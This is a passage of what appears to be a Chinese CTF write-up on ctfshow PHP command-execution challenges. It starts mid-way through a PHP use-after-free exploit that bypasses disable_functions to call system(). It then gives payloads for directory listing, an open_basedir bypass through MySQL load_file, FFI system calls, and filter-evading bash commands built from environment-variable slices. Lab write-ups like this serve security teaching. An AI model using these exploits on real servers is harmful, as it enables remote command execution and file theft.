        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
exit();

将脚本进行url编码后post传给c即可。

WEB73

用前面的方法

payload:
c=var_export(scandir('/'));exit();
c=include('flagc.txt');exit();

WEB74

scandir()被ban了,

payload:
c=$a=glob("/*");foreach($a as $value){echo $value."   ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
找到flagx.txt文件
然后
payload:
c=include('/flagx.txt');exit();

WEB75-WEB76

scandir()被ban了,使用glob

payload:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo $f." ";}exit();

使用文件包含会有open_basedir的限制,绕过脚本也不管用

方法:使用sql语句来绕过

payload:
c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

WEB77

题目没有变化

知识点:

FFI,php7.4以上才有 

PHP: FFI::cdef - Manual

PHP7.4中FFI的介绍(代码示例)-php教程-PHP中文网

分析:

这题在题干中说到php7.4,可以想到FFI来绕过disable_functions

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag

方法:

绕过open_basedir()

payload:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo $f." ";}exit();

发现两个与flag有关的文件。(flag.txt和readflag)

(使用mysql查询会有一个could not find driver不知道什么意思)

用FFI调用system函数

payload:
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/flag46x.txt > 1.txt'; $ffi->system($a); exit();

没有用,那么flag应该就这readflag里面了。

payload:
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit();

然后访问1.txt

WEB118(后面的题由于环境变量或者shell类型,可能会有不一样的结果)

分析:经过fuzz测试,发现过滤了小写字母,数字,/,*等字符,空格和?没有过滤。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过。

提示:flag in flag.php

知识点:

常见 Bash 内置变量介绍
Linux 基础知识:Bash的内置变量

取反号~,linux可以利用~获得变量的最后几位:

${}引用变量的高级用法

方法:

查看源代码发现我们输出的code被命令执行了。 所以我们可以利用环境变量切片来获得所需要的字母

注意linux环境变量需要大写。PWD是环境变量而pwd是命令:输出当前工作目录

通过使利用环境变量里面的字母来构造命令,输出flag.php文件 

在这里用大小写字母就等同于数字0:表示输出最后一位

提示:

根据提示可以知道这里的环境变量的路径最后是bin,当前工作目录是/var/www/html,那么就可以组成nl,

payload:${PATH:~A}${PWD:~A} ????.??? 
意思为nl flag.php
空格可以用${IFS}代替

WEB119 

分析:

经测试,这题相对于118过滤了PATH、BASH

知识点:

 SHLVL:记录了bash嵌套的层次,是记录多个 Bash 进程实例嵌套深度的累加器。一般来说,我们启动第一个Shell时。  $SHLVL=1。如果在这个Shell中执行脚本或者再打开shell,脚本中的$SHLVL=2 。

方法1:

/bin/cat flag.php 

环境的HOME为/root

${HOME:${#HOSTNAME}:${#SHLVL}} ====> t 
${PWD:${Z}:${#SHLVL}} ====> / 


payload:${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???


方法2: 

/bin/base64 flag.php

${PWD:${Z}:${#SHLVL}} ====> / 

random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
所以
${#RANDOM}    ====> 4

payload:${PWD:${Z}:${#SHLVL}}???${PWD: :${#SHLVL}}?????${#RANDOM} ????.???
//多试几次

WEB120

题目:


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

分析:code长度benign超过65

方法:

/bin/base64 flag.php

payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

WEB121

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

分析:最关键的SHLVL被过滤了

方法:可以用${##}或者${#?}来代替${#SHLVL},

方法2:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

使用的是/bin/rev读文件 把文件中每行逆序输出读取(最后将flag用rev 逆序处理一下就行
用到了IFS
定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3
PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev

WEB122

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

分析:

这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而$#,就换成$?

在执行命令前,先用<A,使下一次$?的报错结果为1

${}和 <A可以但是题目上${}这个不可以,所以只能用<A了

知识点:$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值是可控的:

方法:

payload:<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

[CISCN 2019 初赛]Love Math

https://blog.csdn.net/weixin_46270220/article/details/113249589?ops_request_misc=&request_id=&biz_id=102&utm_term=ctfshow%20命令执行%20web38&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-3-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187

https://blog.csdn.net/qq_49480008/article/details/113177878?ops_request_misc=&request_id=&biz_id=102&utm_term=ctfshow%20命令执行%20web38&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-8-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187

https://blog.csdn.net/miuzzx/article/details/109181768?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163065115816780357256470%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163065115816780357256470&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-7-109181768.pc_v2_rank_blog_default&utm_term=命令执行&spm=1018.2226.3001.4450

CTFshow-web入门-命令执行_哔哩哔哩_bilibili

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值